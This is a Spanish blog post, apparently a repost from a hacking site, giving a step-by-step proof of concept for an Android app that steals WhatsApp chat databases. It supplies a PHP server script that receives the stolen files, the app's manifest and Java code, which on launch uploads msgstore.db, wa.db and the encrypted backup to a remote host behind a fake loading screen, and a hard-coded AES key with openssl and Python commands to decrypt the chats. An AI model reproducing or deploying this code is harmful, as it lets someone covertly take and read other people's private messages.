¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).
Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.
Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
<?php // Upload script to upload Whatsapp database // This script is for testing purposes only. $uploaddir = "/tmp/whatsapp/"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?> <html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>
Después debemos configurar nuestro php.ini para subir ficheros grandes:
... file_uploads = On post_max_size = 32M upload_max_filesize = 32M
Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="bb.security.whatsappupload" android:versionCode="1" android:versionName="1.0" > <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="19" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="bb.security.whatsappupload.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de esteactivity_main.xml es lo suficientemente bueno:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" android:layout_marginTop="179dp" android:text="@string/hello_world" android:textSize="24sp" /> </RelativeLayout>
A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.cryptpackage bb.security.whatsappupload; /* * This application is for testing purposes only. * Use of this application is at your own risk. */ import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import android.os.AsyncTask; import android.os.Bundle; import android.os.Environment; import android.app.Activity; import android.app.ProgressDialog; import android.util.Log; import android.view.Menu; public class MainActivity extends Activity { //A ProgressDialog object private ProgressDialog progressDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); new UploadWhatsApp().execute(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @SuppressWarnings("deprecation") private void uploadFile(String file) { HttpURLConnection conn = null; DataOutputStream dos = null; DataInputStream inStream = null; Log.i("FILE", "Filename:\n" + file); String lineEnd = "\r\n"; String twoHyphens = "--"; String boundary = "*****"; int bytesRead, bytesAvailable, bufferSize; byte[] buffer; int maxBufferSize = 1 * 1024 * 1024 * 1024; String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php"; try { // ------------------ CLIENT REQUEST FileInputStream fileInputStream = new FileInputStream(new File( file)); // open a URL connection to the Servlet URL url = new URL(urlString); // Open a HTTP connection to the URL conn = (HttpURLConnection) url.openConnection(); // Allow Inputs conn.setDoInput(true); // Allow Outputs conn.setDoOutput(true); // Don't use a cached copy. conn.setUseCaches(false); // Use a post method. conn.setRequestMethod("POST"); conn.setRequestProperty("Connection", "Keep-Alive"); conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); dos = new DataOutputStream(conn.getOutputStream()); dos.writeBytes(twoHyphens + boundary + lineEnd); dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\"" + file + "\"" + lineEnd); dos.writeBytes(lineEnd); // create a buffer of maximum size bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); buffer = new byte[bufferSize]; // read file and write it into form... bytesRead = fileInputStream.read(buffer, 0, bufferSize); while (bytesRead > 0) { dos.write(buffer, 0, bufferSize); bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); bytesRead = fileInputStream.read(buffer, 0, bufferSize); } // send multipart form data necesssary after file data... dos.writeBytes(lineEnd); dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); // close streams Log.e("Debug", "File is written"); fileInputStream.close(); dos.flush(); dos.close(); } catch (MalformedURLException ex) { Log.e("Debug", "error: " + ex.getMessage(), ex); } catch (IOException ioe) { Log.e("Debug", "error: " + ioe.getMessage(), ioe); } // ------------------ read the SERVER RESPONSE try { if (conn != null){ inStream = new DataInputStream(conn.getInputStream()); String str; while ((str = inStream.readLine()) != null) { Log.e("Debug", "Server Response " + str); } inStream.close(); } } catch (IOException ioex) { Log.e("Debug", "error: " + ioex.getMessage(), ioex); } } private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{ @Override protected void onPreExecute() { //Create a new progress dialog progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...", "Loading, please wait...", false, false); } //The code to be executed in a background thread. @Override protected Void doInBackground(Void... params) { String fileWACrypt = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db.crypt"; String fileWAPlain = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db"; String fileWAwa = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/wa.db"; MainActivity.this.uploadFile(fileWACrypt); MainActivity.this.uploadFile(fileWAPlain); MainActivity.this.uploadFile(fileWAwa); return null; } //Update the progress @Override protected void onProgressUpdate(Integer... values) { //set the current progress of the progress dialog progressDialog.setProgress(values[0]); } //after executing the code in the thread @Override protected void onPostExecute(Void result) { //close the progress dialog progressDialog.dismiss(); //initialize the View setContentView(R.layout.activity_main); } } }
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.Por lo tanto podremos descifrarla una vez obtenido mediante:openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652co mediante el siguiente script en Python:#!/usr/bin/env python import sys from Crypto.Cipher import AES try: wafile=sys.argv[1] except: print "Usage: %s <msgstore.db.crypt>" % __file__ sys.exit(1) key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex') cipher = AES.new(key,1) open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas…
Entrada Original: http://www.hackplayers.com/2014/03/aplicacion-android-para-robar-y-leer-whatsapp.html#more
0 comentarios:
Publicar un comentario